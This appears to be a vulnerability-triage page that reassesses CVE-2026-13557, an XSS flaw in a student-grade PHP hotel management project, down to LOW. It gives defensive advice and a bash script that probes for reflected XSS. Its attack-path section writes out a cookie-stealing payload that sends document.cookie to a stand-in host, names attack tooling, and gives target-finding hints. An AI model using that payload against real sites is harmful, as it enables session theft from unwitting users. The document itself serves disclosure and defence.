A scratch-built student project caught with its `<script>` tags down
CVE-2026-13557 is a CWE-79 reflected/stored XSS in *itsourcecode Online Hotel Management System 1.0*, a downloadable PHP/MySQL project published on itsourcecode.com — the kind of codebase used in academic capstones and freelancer portfolios, not production hospitality stacks. The vector is AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N: an unauthenticated attacker crafts a URL with a malicious parameter, gets a victim to click it, and JavaScript executes in the victim's browser session against the vulnerable page. Only version 1.0 is referenced because that is the only version the vendor ever shipped — there is no semantic versioning, no patch branch, and no security advisory channel.
Vendor severity of MEDIUM (4.3) is *technically defensible* under CVSS math (low integrity impact, user interaction required, no confidentiality or availability hit), but it overstates real-world risk. The affected product has no measurable enterprise footprint — Shodan/Censys/FOFA do not meaningfully index it, EPSS will sit in the bottom percentile, and there is no upstream maintainer who will issue a CVE-specific patch. For a defender running 10,000 hosts, the only realistic exposure is if a developer cloned this codebase as scaffolding. Reassessed LOW.
4 steps from start to impact.
Locate a deployed instance
inurl:hotel-management-system). Shodan/Censys queries against the static HTML banner can also work. The pool of such hosts is overwhelmingly student lab VMs and dormant freelancer demos.- Public-facing instance reachable
- Default page paths preserved
- Effectively zero enterprise deployment
- Most instances live on localhost or shared shared-hosting subdomains
itsourcecode paths; not in commercial vuln DBs as a fingerprinted productCraft the XSS payload
"><script>fetch('//atk/?c='+document.cookie)</script> into the vulnerable GET/POST parameter identified in the CVE record. Tooling: BeEF, XSS Hunter, or a hand-rolled payload from PayloadsAllTheThings. Because output encoding is missing, the payload is reflected verbatim into the response body.- Knowledge of the specific vulnerable parameter
- Target page renders without CSP
- No CSP is plausible for this codebase, so this step is trivial when the app is reachable
<script> reflectionDeliver to a victim
UI:R in the CVSS vector encodes.- A reachable, authenticated victim of the vulnerable instance
- Victim pool is microscopic (lab admin, project owner)
- Email gateways flag suspicious URL parameters
Browser-side impact
- Session cookie not
HttpOnly
- Modern browser defaults: SameSite=Lax cookies blunt CSRF-style abuse
- Trivial blast radius
The supporting signals.
| In-the-wild exploitation | None observed. No KEV listing, no campaign reports, no honeypot hits attributable to this CVE. |
|---|---|
| Public PoC | Typical for itsourcecode CVEs: a one-line payload disclosed alongside the VulDB/CVE submission. No weaponized tooling. |
| EPSS | Expected to land <0.1% (bottom percentile) — consistent with prior itsourcecode CVEs. |
| KEV status | Not listed on CISA KEV as of 2026-06-29. |
| CVSS 3.1 vector | AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N → 4.3 MEDIUM. UI:R + only Integrity:Low + Scope:Unchanged caps the score. |
| Affected versions | *itsourcecode Online Hotel Management System* 1.0 (the only release). |
| Fixed version | None. No upstream patch; project is unmaintained tutorial code. |
| Exposure data | Shodan/Censys/FOFA show negligible internet-facing instances — predominantly transient lab hosts. |
| Disclosure date | 2026-06-29 via VulDB-style submission. |
| Reporter | Independent researcher submission (typical pattern for itsourcecode CVE pipeline via VulDB). |
noisgate verdict.
Single most decisive factor: installed-base share is statistically zero in enterprise environments — *itsourcecode* projects are tutorial codebases, not production systems, so there is effectively no role this software can occupy in a defended fleet. The vulnerability class (reflected XSS requiring user interaction, no confidentiality impact) provides no escalation path even where the app does exist.
Why this verdict
- Friction: UI:R gating — attack requires a logged-in victim to click an attacker-crafted URL; mass-exploitation is structurally impossible.
- Friction: integrity-only, low —
C:N/I:L/A:Nmeans no data disclosure or service disruption; impact is bounded to single-session script execution. - Installed base ≈ 0 — *itsourcecode* is a student-project distribution; no Fortune-500 or government deployment evidence in Shodan/Censys/FOFA historical data.
- Role multiplier: Even in the highest-value plausible role (a developer's exposed demo VM), chain ends at *one* browser session — no AD, no hypervisor, no PAM, no CI/CD adjacency. Floor remains LOW.
- No KEV, no active exploitation — disclosure-day CVE with no observed weaponization.
Why not higher?
MEDIUM would imply the vendor score reflects defender-relevant risk. It doesn't — the affected software has no measurable enterprise install base, and even successful exploitation yields only a single victim's browser session on a demo app with no sensitive data. There is no high-value-role scenario that lifts the floor.
Why not lower?
IGNORE is reserved for non-issues. A real CVE-numbered XSS exists and a determined developer who pulled this code into a production-adjacent app could still be hit, so it deserves backlog tracking rather than full dismissal.
What to do — in priority order.
- Inventory for any deployed copies of *itsourcecode Online Hotel Management System* — Run an SCA/file-hash sweep across your web tier for the project's signature files (e.g.,
hotel-management-system/index.php, included CSS banners). No mitigation SLA at LOW — fold into the 365-day remediation hygiene cycle. - Enforce a deny-by-default CSP on any internal demo/lab web hosts — A meta
Content-Security-Policy: default-src 'self'; script-src 'self'header blocks inline-script execution and neutralizes this and most other reflected XSS classes. Roll into baseline web-host hardening over the next year. - Set
HttpOnlyandSameSite=Laxon session cookies fleet-wide — Prevents the main monetizable outcome of XSS (session theft). Standard hardening; bake into web-platform baselines. - Block outbound traffic from lab/demo VLANs to arbitrary internet destinations — Even if exploited, the payload's exfil callback (
fetch('//attacker/')) cannot leave the segment. Egress filtering at the perimeter.
- EDR / AV signatures — XSS executes in the browser DOM; endpoint agents have no visibility into reflected JavaScript.
- Patching the vendor — *itsourcecode* does not ship security updates; there is no patch to apply.
- Network IDS alone — TLS-terminated traffic hides the payload from passive sensors; a WAF in front of the app is what's needed, not pcap-grade NIDS.
Crowdsourced verification payload.
Run on an auditor workstation that can reach your web inventory. Invoke as ./check_cve_2026_13557.sh https://target.example.com — no privileges required beyond outbound HTTPS. The script fingerprints the *itsourcecode* hotel-management codebase and tests for reflected payload echo.
#!/usr/bin/env bash
# CVE-2026-13557 — itsourcecode Online Hotel Management System 1.0 XSS check
# Usage: ./check_cve_2026_13557.sh https://target.example.com
set -u
TARGET="${1:-}"
if [ -z "$TARGET" ]; then
echo "Usage: $0 <base-url>" >&2
exit 2
fi
MARKER="noisgateXSS$(date +%s)"
PAYLOAD="<svg/onload=alert(1)>${MARKER}"
ENC=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))" "$PAYLOAD")
# Fingerprint: project signature paths
FP=$(curl -ksSL -o /dev/null -w '%{http_code}' "$TARGET/hotel-management-system/" || echo 000)
if [ "$FP" != "200" ] && [ "$FP" != "301" ] && [ "$FP" != "302" ]; then
echo "UNKNOWN — itsourcecode Online Hotel Management System not detected at $TARGET (HTTP $FP)"
exit 0
fi
# Probe a typical reflective endpoint
for EP in "/hotel-management-system/search.php?q=" "/hotel-management-system/index.php?msg="; do
BODY=$(curl -ksSL --max-time 10 "${TARGET}${EP}${ENC}")
if echo "$BODY" | grep -q "$MARKER" && echo "$BODY" | grep -qi "<svg/onload"; then
echo "VULNERABLE — payload reflected unescaped at ${EP}"
exit 1
fi
done
echo "PATCHED — instance detected but no reflection observed on probed endpoints"
exit 0
If you remember one thing.
Sources
What defenders are saying.
Crowdsourced verification outputs.
Results submitted by users who ran the verification payload against their environment.